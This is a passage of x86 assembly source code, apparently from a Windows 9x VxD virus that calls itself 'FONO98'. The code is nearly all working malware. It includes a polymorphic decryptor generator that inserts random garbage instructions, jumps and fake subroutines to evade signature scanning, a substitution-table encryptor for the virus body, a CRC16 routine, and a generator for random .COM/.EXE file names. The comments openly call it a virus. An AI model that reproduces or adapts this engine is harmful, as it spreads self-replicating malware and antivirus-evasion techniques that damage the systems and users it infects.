loop tlp ;make linear table of values
mov edi, offset32 crptbl
mov ecx, 01111b
tlp2:
call rnd255 ;randomize table
mov ebx, eax
call rnd255
mov dl, byte ptr [edi+ebx]
xchg dl, byte ptr [edi+eax] ;keep exchanging some bytes
mov byte ptr [edi+ebx], dl
loop tlp2
pop edi
mov [reg32], 00010000b ;set esp as used
call garble32
mov [reg32], 00110000b ;set esp/ebp as used
call get8reg
mov [tmp], eax
call get32_16reg
mov [tpointer], eax
call get32_16reg
mov [dpointer], eax
call get32_16reg
mov [tmp2], eax
call get32_16reg
mov [counter], eax ;choose regs
call garble32
push offset32 mdecr ;return adress
mov ebp, offset32 mcounter
mov ebx, offset32 mpointer
mov edx, offset32 mdpointer
call rnd
and eax, 0111b
inc eax
mov ecx, eax
mixer1:
call rndf
jc m11
xchg ebp, ebx
m11:
call rndf
jc m12
xchg edx, ebx
m12:
call rndf
jc m13
xchg edx, ebp
m13:
loop mixer1 ;randomize calling order
push ebp
push ebx
push edx
ret
mdecr:
mov [lstart], edi
call garble32
mov ax, 1011011000001111b
stosw ;movzx d tmp2, [reg1+reg2]
mov eax, [tmp2]
shl eax, 3
or al, 100b
stosb
mov eax, [tpointer]
shl eax, 3
or eax, [dpointer]
stosb
push eax
call garble32
mov al, 10001010b
stosb ;mov b tmp, [reg1+tmp2]
mov eax, [tmp]
shl eax, 3
or al, 100b
stosb
push eax
mov eax, [tpointer]
shl eax, 3
mov ebx, [tmp2]
or eax, ebx
stosb
mov al, 10001000b
stosb ;mov b [reg1+reg2], tmp
pop eax
stosb
pop eax
stosb
call garble32
push offset32 mcontinue
mov ebx, offset32 inc_pointer
mov edx, offset32 dec_counter
call rndf
jc m2
xchg edx, ebx ;randomize order
m2:
push ebx
push edx
ret
mcontinue:
call garble32
mov al, 0bh
stosb
mov eax, [counter]
shl eax, 3
or eax, [counter]
or al, 11000000b
stosb ;or reg, reg
mov eax, 850fh
stosw
mov eax, [lstart] ;386+ jne
sub eax, edi
sub eax, 4
stosd
mov [reg32], 00010000b ;set esp as used
call garble32
call garble32
mov ecx, edi
sub ecx, [tblstrt] ;calculate start of code
mov esi, [pmdptr] ;to decript(delta-based)
mov [esi], ecx
pop edx
mov ecx, edi
sub ecx, edx ;exit with correct regs
ret
inc_pointer:
mov eax, 40h ;inc
or eax, [dpointer]
stosb
call garble32
ret
dec_counter:
mov eax, 48h ;dec
or eax, [counter]
stosb
call garble32
ret
mcounter:
mov eax, 0b8h ;mov
or eax, [counter]
stosb
mov eax, [totsize]
stosd
call garble32
ret
mpointer:
mov al, 0e8h
stosb
mov ecx, 255+1
mov eax, ecx
stosd ;do call
mov [tblstrt], edi
mov esi, offset32 crptbl
rep movsb ;zopy table
mov eax, 58h ;do pop
or eax, [tpointer]
stosb
call garble32
ret
mdpointer:
mov eax, 0b8h ;mov
or eax, [dpointer]
stosb
mov [pmdptr], edi
stosd
call garble32
ret
gar:
call rnd ;get any reg
and eax, 0111b
cmp al, 4 ;sp never
je gar
ret
get32_16reg: ;get a free 32/16bit reg
call gar
bts [reg32], eax
jc get32_16reg
ret
get8reg: ;get a free 8bit reg
call rnd ;al,cl,dl,bl
and eax, 0011b
bts [reg32], eax
jc get8reg
call rndf
jc ntg
or al, 0100b ;ah,ch,dh,bh
ntg:
ret
garble32:
pushad
cmp byte ptr [rlevel], 3
je maxr
inc byte ptr [rlevel]
call rnd
and eax, 0111b
mov ecx, eax
inc ecx
ng32:
push ecx
call rnd
and eax, 01111b
shl eax, 2
add eax, offset32 gtbl
call dword ptr [eax]
pop ecx
loop ng32
dec byte ptr [rlevel]
maxr:
mov dword ptr [esp], edi ;change stack copy of edi
popad
ret
gtbl equ this byte
dd offset32 subr ;silly garblers :(
dd offset32 subr
dd offset32 jmps
dd offset32 jmps
dd offset32 jmps
dd offset32 jmps ;no time to code good ones...
dd offset32 jcc
dd offset32 jcc
dd offset32 jcc
dd offset32 jcc
dd offset32 calls
dd offset32 calls
dd offset32 calls
dd offset32 calls
dd offset32 calls
dd offset32 calls
jcc:
call rnd ;do jump conditional with
and eax, 0fh ;real displacement(no shitty
or eax, 0f80h ;$+2 thingie)
xchg al, ah
stosw
stosd
push edi
call garble32
pop esi
mov ecx, edi
sub ecx, esi
mov dword ptr [esi-4], ecx
ret
jmps:
mov al, 0e9h ;do jump
stosb
stosd
push edi
call rnd
and eax, 0111b
inc eax
mov ecx, eax
njnk:
call rnd ;fill with junk
stosb
loop njnk
pop esi
mov ecx, edi
sub ecx, esi
mov dword ptr [esi-4], ecx
ret
subr: ;make call to subroutine
cmp dword ptr [subad], 0
jz ncall ;a subroutine was coded?
mov al, 0e8h
stosb
mov eax, edi
sub eax, dword ptr [subad] ;calc subr address
add eax, 4
neg eax
stosd
ncall:
ret
calls:
cmp dword ptr [subad], 0 ;make subroutine
jne ncall
mov al, 0e9h ;the old thing...
stosb
stosd ;jump @@1
push edi ;@@2:
call garble32 ;*garbage*
mov al, 0c3h ;*garbage*
stosb ;ret
pop esi ;@@1:
mov ecx, edi
sub ecx, esi
mov dword ptr [esi-4], ecx
mov dword ptr [subad], esi ;store sub address
ret
rnd255:
call rnd
and eax, 011111111b
ret
encript_pe:
pushad
mov ecx, dword ptr [totsize] ;our poly engine isnt a
mov ebx, offset32 crptbl ;cyclical decriptor using
ecrt: ;xor/add/sub or like...
lodsb
push ecx ;we use a substitution scheme,
push edi ;based in a table... This way,
mov ecx, 100h ;'A'=='2' '#'=='x' and so...
mov edi, ebx ;no virus i know use this
repne scasb
dec edi
sub edi, ebx
mov eax, edi ;eax hold offset into table
pop edi
pop ecx
stosb
loop ecrt
mov [esp], edi ;setup edi copy in stack
popad
ret
subad dd 0
rlevel db 0
tmp dd 0
tmp2 dd 0
tpointer dd 0
dpointer dd 0
counter dd 0
pmdptr dd 0
tblstrt dd 0
lstart dd 0
reg32 dd 0
totsize dd 0
BeginProc CRC16
push ebx
push ecx
mov ebx, 0a001h
mov edi, offset32 CrcTab
xor edx, edx
crc16nb:
mov ax, dx
mov cx, 8
crc16l:
shr ax, 1
jae crc16sk
xor ax, bx
crc16sk:
loop crc16l
stosw ;make da table
inc edx
cmp edx, 512
jne crc16nb
pop ecx
xor eax, eax
CRC16Loop:
xor ebx, ebx
mov bl, al
lodsb
xor bl, al
shl bx, 1
mov bx, word ptr [CrcTab+bx] ;make CRC16 of it
xor bl, ah
mov eax, ebx
loop CRC16Loop
pop ebx
ret
EndProc CRC16
BeginProc Random4Name
mov dword ptr [edi], 'AAAA' ;setup base name
mov ecx, 4
in al, 40h
mov ah, al
NextLetter:
in al, 40h
xor al, ah
mov ah, al
and al, 01111b
add byte ptr [edi], al ;add random values to make
inc edi ;random letter, to obtain a
loop NextLetter ;random name! :)
in al, 40h
cmp al, 80h
mov eax, 12345678h
org $-4
db '.', 'C', 'O', 'M'
jb PutThisOne ;put a .COM extension
mov eax, 12345678h
org $-4
db '.', 'E', 'X', 'E'
PutThisOne:
mov [edi], eax ;or a .EXE one
ret
EndProc Random4Name
BeginProc FONO98_Control
Control_Dispatch Init_Complete, FONO98_Device_Init
clc ;our init procedure...
ret ;other virus wait for more
EndProc FONO98_Control ;calls... but i did only this
;one and it worked, so...
VxD_Locked_Code_Ends
End